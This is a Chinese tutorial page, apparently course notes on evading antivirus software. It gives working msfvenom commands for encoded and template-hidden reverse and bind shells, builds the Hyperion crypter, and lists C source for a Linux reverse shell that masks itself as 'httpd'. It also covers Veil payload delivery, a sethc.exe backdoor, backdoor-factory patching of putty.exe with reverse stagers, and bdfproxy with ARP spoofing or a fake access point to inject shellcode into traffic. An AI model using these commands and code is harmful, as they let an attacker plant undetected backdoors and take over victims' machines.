zoukankan      html  css  js  c++  java
  • 第十六章 免杀

    恶意软件
      – 病毒、木马、蠕虫、键盘记录、僵尸程序、流氓软件、勒索软件、广告程序
      – 在用户非自愿的情况下执行安装
      – 处于某种恶意的目的:控制、窃取、勒索、偷窥、推送、攻击............

    防病毒软件
    ▪ 恶意程序最主要的防护手段
      – 杀毒软件 / 防病毒软件
      – 客户端 / 服务端 / 邮件防病毒
    ▪ 检测原理
      – 基于二进制文件中特征签名的黑名单检测方法
      – 基于行为的分析方法(启发式)
    ▪ 事后手段
      – 永远落后于病毒发展

    免杀技术
    ▪ 修改二进制文件中的特征字符
      – 替换、擦除、修改
    ▪ 加密技术(crypter)
      – 通过加密使得特征字符不可读,从而逃避AV检测
      – 运行时分片分段的解密执行,注入进程或AV不检查的无害文件中
    ▪ 防病毒软件的检测
      – 恶意程序本身的特征字符
      – 加密器crypter的特征字符

    当前现状
    ▪ 恶意软件制造者
      – 编写私有RAT软件,避免普遍被AV所知的特征字符
      – 使用独有crypter软件加密恶意程序
      – 处事低调,尽量避免被发现
      – 没有能力自己编写恶意代码的黑客,通过直接修改特征码的方式免杀
      – Fully UnDetectable是最高追求(FUD)
    ▪ AV厂商
      – 广泛采集样本,尽快发现新出现的程序,更新病毒库
      – 一般新的恶意软件安全UD窗口期是一周左右
      – 与恶意软件制造者永无休止的拉锯战
      – 新的启发式检测技术尚有待万盏(误杀漏杀)

    ▪ 单一AV厂商的病毒库很难达到100%覆盖
      – https://www.virustotal.com/
        ▪ 接口被某些国家的AV软件免费利用,没有自己的病毒库
      – http://www.virscan.org/
      – 在线多引擎查杀网站与AV厂商共享信息
      – 搞黑的在线多引擎查毒站
        ▪ https://nodistribute.com/
        ▪ http://viruscheckmate.com/check/
    ▪ 常用RAT软件
      – 灰鸽子、波尔、黑暗彗星、潘多拉、NanoCore

    ▪ 生成反弹shell
    – msfvenom -p windows/shell/bind_tcp lhost=1.1.1.1 lport=4444 -a x86 --platform win -f exe -o a.exe
    ▪ 加密编码反弹shell
    – msfvenom -p windows/shell/bind_tcp lhost=1.1.1.1 lport=4444 -f raw -e    x86/shikata_ga_nai -i 5 | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -b 'x00' -f exe -o a.exe
    ▪ 比较编码前后的检测率

    ▪ 利用模板隐藏shell
    – msfvenom -p windows/shell_reverse_tcp -x /usr/share/windows-binaries/plink.exe lhost=1.1.1.1 lport=4444 -a x86 --platform win -f exe -o a.exe
    – msfvenom -p windows/shell/bind_tcp -x /usr/share/windows-binaries/plink.exe lhost=1.1.1.1 lport=4444 -e x86/shikata_ga_nai -i 5 -a x86 --platform win -f exe > b.exe

    ▪ 软件开发商为保护版权,采用的混淆和加密技术避免盗版逆向
    ▪ 常被恶意软件用于免杀目的

     ▪ Hyperion(32bit PE程序加密器)
      – Crypter / Container(解密器+PE Loader)
      – https://github.com/nullsecuritynet/tools/raw/master/binary/hyperion/release/Hyperion-1.2.zip
      – unzip Hyperion-1.2.zip
      – cd Hyperion-1.2 && i686-w64-mingw32-g++ -static-libgcc -static-libstdc++Src/Crypter/*.cpp -o h.exe
      – dpkg --add-architecture i386 && apt-get update && apt-get install wine32
      – msfvenom -p windows/shell/reverse_tcp lhost=192.168.1.15 lport=4444 --platform win -e x86/shikata_ga_nai -a x86 -f exe -o a.exe
      – wine h.exe a.exe b.exe

    自己编写后门
    ▪ Windows reverse shell
      – wine gcc.exe windows.c -o windows.exe -lws2_32
    ▪ Linux shell
      – gcc linux_revers_shell.c -o linux

    linux_revers_shell.c

      #include <stdio.h>
      #include <sys/socket.h>
      #include <arpa/inet.h>
      #include <stdlib.h>
      #include <string.h>
      #include <unistd.h>
      #include <netinet/in.h>
     
      int main(int argc, char *argv[])
      {
          struct sockaddr_in sock;
          int s;
          if (argc != 3)
          {
              fprintf(stderr, "uso: <rhost> <rport>
    "); exit(1);
          }
          sock.sin_family  = AF_INET;
          sock.sin_port = htons(atoi(argv[2]));
          sock.sin_addr.s_addr = inet_addr(argv[1]);
          s = socket(AF_INET, SOCK_STREAM, 0);
          
          connect(s,(struct sockaddr_in *)&sock, sizeof(struct sockaddr_in));
          
          dup2(s,0);
          dup2(s,1);
          dup2(s,2);
          execl("/bin/sh","httpd",(char *)0); //precess httpd
      }
    

     扫描结果:

    验证:

    Veil-evasion
    ▪ 属于 Veil-framework 框架的一部分
    ▪ 由 Python 语言编写
    ▪ 用于自动生成免杀payload
      – 集成msf paypload,支持自定义 payload
      – 集成各种注入技术
      – 集成各种第三方工具
        ▪ Hypersion、PEScrambler、BackDoor Factory
      – 继承各种开发打包运行环境
        ▪ Python:pyinstaller / py2exe
        ▪ C# :mono for .NET
        ▪ C:mingw32

    默认并没有集成在kali里面,安装地址:github:https://github.com/Veil-Framework/Veil-evasion         安装过程比较漫长,持续时间比较久

    对于kali 2.0 X64安装不上的情况下,可以尝试修改 /etc/apt/sources.list 为以下内容:

    # Regular repositories
    deb http://http.kali.org/kali sana main non-free contrib
    deb http://security.kali.org/kali-security sana/updates main contrib non-free
    # Source repositories
    deb-src http://http.kali.org/kali sana main non-free contrib
    deb-src http://security.kali.org/kali-security sana/updates main contrib non-free
    然后
    apt-get update&apt-get upgrade -y
    

    可支持的payload有50多种

    附录:
    [*] 可支持生成payloads:
    1) auxiliary/coldwar_wrapper
    2) auxiliary/macro_converter
    3) auxiliary/pyinstaller_wrapper
    4) c/meterpreter/rev_http
    5) c/meterpreter/rev_http_service
    6) c/meterpreter/rev_tcp
    7) c/meterpreter/rev_tcp_service
    8) c/shellcode_inject/flatc
    9) cs/meterpreter/rev_http
    10) cs/meterpreter/rev_https
    11) cs/meterpreter/rev_tcp
    12) cs/shellcode_inject/base64_substitution
    13) cs/shellcode_inject/virtual
    14) go/meterpreter/rev_http
    15) go/meterpreter/rev_https
    16) go/meterpreter/rev_tcp
    17) go/shellcode_inject/virtual
    18) native/backdoor_factory
    19) native/hyperion
    20) native/pe_scrambler
    21) perl/shellcode_inject/flat
    22) powershell/meterpreter/rev_http
    23) powershell/meterpreter/rev_https
    24) powershell/meterpreter/rev_tcp
    25) powershell/shellcode_inject/download_virtual
    26) powershell/shellcode_inject/download_virtual_https
    27) powershell/shellcode_inject/psexec_virtual
    28) powershell/shellcode_inject/virtual
    29) python/meterpreter/bind_tcp
    30) python/meterpreter/rev_http
    31) python/meterpreter/rev_http_contained
    32) python/meterpreter/rev_https
    33) python/meterpreter/rev_https_contained
    34) python/meterpreter/rev_tcp
    35) python/shellcode_inject/aes_encrypt
    36) python/shellcode_inject/aes_encrypt_HTTPKEY_Request
    37) python/shellcode_inject/arc_encrypt
    38) python/shellcode_inject/base64_substitution
    39) python/shellcode_inject/des_encrypt
    40) python/shellcode_inject/download_inject
    41) python/shellcode_inject/flat
    42) python/shellcode_inject/letter_substitution
    43) python/shellcode_inject/pidinject
    44) python/shellcode_inject/stallion
    45) ruby/meterpreter/rev_http
    46) ruby/meterpreter/rev_http_contained
    47) ruby/meterpreter/rev_https
    48) ruby/meterpreter/rev_https_contained
    49) ruby/meterpreter/rev_tcp
    50) ruby/shellcode_inject/base64
    51) ruby/shellcode_inject/flat

    Veil-catapult(前提:需要知道客户端的账号和密码)
    ▪ Payload 的投递
      – 集成veil-evasion 生成免杀payload 或自定义payload
      – 使用Impacket 上传二进制 payload 文件
      – 使用passing-the-hash 出发执行 payload
    ▪ Payload 直接在内存中运行
      – 不向硬盘写入payload文件,避免文件型病毒查杀软件

    ▪ Powershell injector
      – 适用于 windows 7 及以上版本系统
    ▪ Barebones python injector  (最好用)
      – 适用于powershell injector 失败的情况下使用
    ▪ Sethc backdoor    (替换黏滞位)
      – 用 cmd.exe 替换 C:WindowsSystem32sethc.exe
    ▪ Execute custom command    // 执行自定义命令
    ▪ EXE delivery
      – /etc/veil/settings.py

    另一种免杀思路
    ▪ 传统型防病毒查杀原理
      – 查找文件体重特殊字符串,匹配则查杀
    ▪ 找到触发AV查杀的精确字符串,并将其修改
      – 将执行程序分片成很多小片段
      – 将包含MZ头的第一个片段与后续片段依次组合后交给AV查杀
      – 重复以上步骤,最终精确定位出
      – Evade、hexeditor

    shellter
    ▪ 代码混淆
    ▪ 定制的编码方式
    ▪ 多态编码
    ▪ 集成部分 msf payload
    ▪ 目前只支持32位PE程序
    ▪ 使用正常的exe文件作为模板,将payload代码加入模板内
      – 模板程序的功能将失效

    Backdoor-factory
    ▪ Patch
      – 通过替换EXE、DLL、注册表等方法修复系统漏洞或问题的方法
      – BDF:向二进制文件中增加或者删除代码内容
        ▪ 某些受保护的二进制程序无法patch
        ▪ 存在一定概率文件会被patch坏掉
    ▪ 后门工厂
      – 适用于windows PE x32/x64 和 Linux ELF x32/x64 ( OSX )
      – 支持msf payload 、自定义payload
    ▪ 将shellcode代码patch进模板文件,躲避AV检查
    ▪ Python 语言编写

    ▪ Msf使用的patch方法
      – 覆盖程序入口
        ▪ msfvenom -p windows/shell/reverse_tcp ……
      – 创建新的线程执行shellcode并跳回原程序入口
        ▪ msfvenom -p windows/shell/reverse_tcp –k
        ▪ 增加代码片段跳转执行后跳回源程序入口

    ▪ CTP 方法
      – 增加新的代码段 section,与MSF的 -k 方法类似
      – 使用现有的代码裂缝/洞(code  cave)存放 shellcode
    ▪ 代码洞
      – 二进制文件中超过两个字节的连续 x00 区域(代码片段间区域)
      – 根据统计判断代码洞是编译器在进行编译时造成的,不同的编译器造成的代码洞的大小不同

    ▪ 单个代码洞大小不足以存放完整的shellcode
      – 多代码洞跳转(非顺序执行)
        ▪ 初期免杀率可达100%
      – 结合msf的stager方法
    ▪ Patch选项
      – 附加代码段
      – 单代码洞注入
      – 多代码洞注入

    ▪ BDF基本使用
      – 检查二进制文件是否支持代码注入
        ▪ backdoor-factory -f putty.exe –S
      – 显示可用payload
        ▪ backdoor-factory -f putty.exe -s show
        ▪ iat_reverse_tcp_stager_threaded
      – 查看cave大小
        ▪ ackdoor-factory -f putty.exe -c -l

    ▪ 免杀效果对比
      – backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 192.168.1.119  -P 6666
      – backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 192.168.1.119  -P 6666  –J
      – backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -a -H  192.168.1.119 -P 6666
    ▪ 与 veil-evasion 集成
    ▪ Linux:backdoor-factory -f putty.exe -s show
    ▪ IAT——import address table
      – 指针指向WinAPI地址,被称为thunks(形实转换程序),地址预定义

     Bdfproxy
    ▪ Bdfproxy(mitmproxy)
      – 基于流量劫持动态注入 shellcode(ARP spoof、DNS spoof、Fake AP)
    ▪ 步骤
      – sysctl -w net.ipv4.ip_forward=1
      – iptables -t nat -A PREROUTING -p tcp --dport 80/443 -j REDIRECT --to-ports 8080
      – vi /etc/bdfproxy/bdfproxy.cfg
        ▪ proxyMode = transparent
        ▪ 修改侦听IP地址并启动bdfproxy
      – arpspoof -i eth0 -t 1.1.1.2   1.1.1.1
      – 启动 MSF

    ▪ Mana 创建 Fack AP
    ▪ Bdfproxy 代理注入代码
    ▪ Msf 侦听反弹 shell

    apt-get  install  mana-toolkit

    ▪ vi /etc/mana-toolkit/hostapd-mana.conf
      – 修改无线 SSID 名称
    ▪ ./usr/share/mana-toolkit/run-mana/start-nat-simple.sh
      – 修改 waln1 无线网卡适配器并启动
      – iptables -t nat -A PREROUTING -i $phy -p tcp --dport 80/443 -j REDIRECT --to-port 8080
    ▪ vi /etc/bdfproxy/bdfproxy.cfg
      – proxyMode = transparent
      – 修改侦听IP地址并启动bdfproxy
    ▪ 启动msf
      – Msfconsole -r /usr/share/bdfproxy/bdfproxy_msf_resource.rc

    ▪ 补充内容
      – 全站 HTTPS 防注入(微软每个补丁都带马)
      – PE 文件证书签名可被清除
      – PE Header -> Optional Header -> Certificate Table(Address and size)
        ▪ 全部用 0 覆盖
        ▪ BDF 默认清除数字签名
    ▪ https://live.sysinternals.com/

  • 相关阅读:
    android&php 加密解密
    AES加解密算法在Android中的应用及Android4.2以上版本调用问题
    eclipse 中 import sun.misc.BASE64Decoder; 报错
    Java加密技术(一)——加密介绍
    android加密DESede/CBC/PKCS5Padding
    Android中的Audio播放:竞争Audio之Audio Focus的应用
    java.lang.IllegalStateException: attempt to re-open an already-closed object
    Android 性能优化的一些方法
    android.os.DeadObjectException memory near r0: 异常处理 Consumer closed input channel or an error occurred. events=0x9
    如何分析解决Android ANR
  • 原文地址:https://www.cnblogs.com/steven9898/p/11508402.html
Copyright © 2011-2022 走看看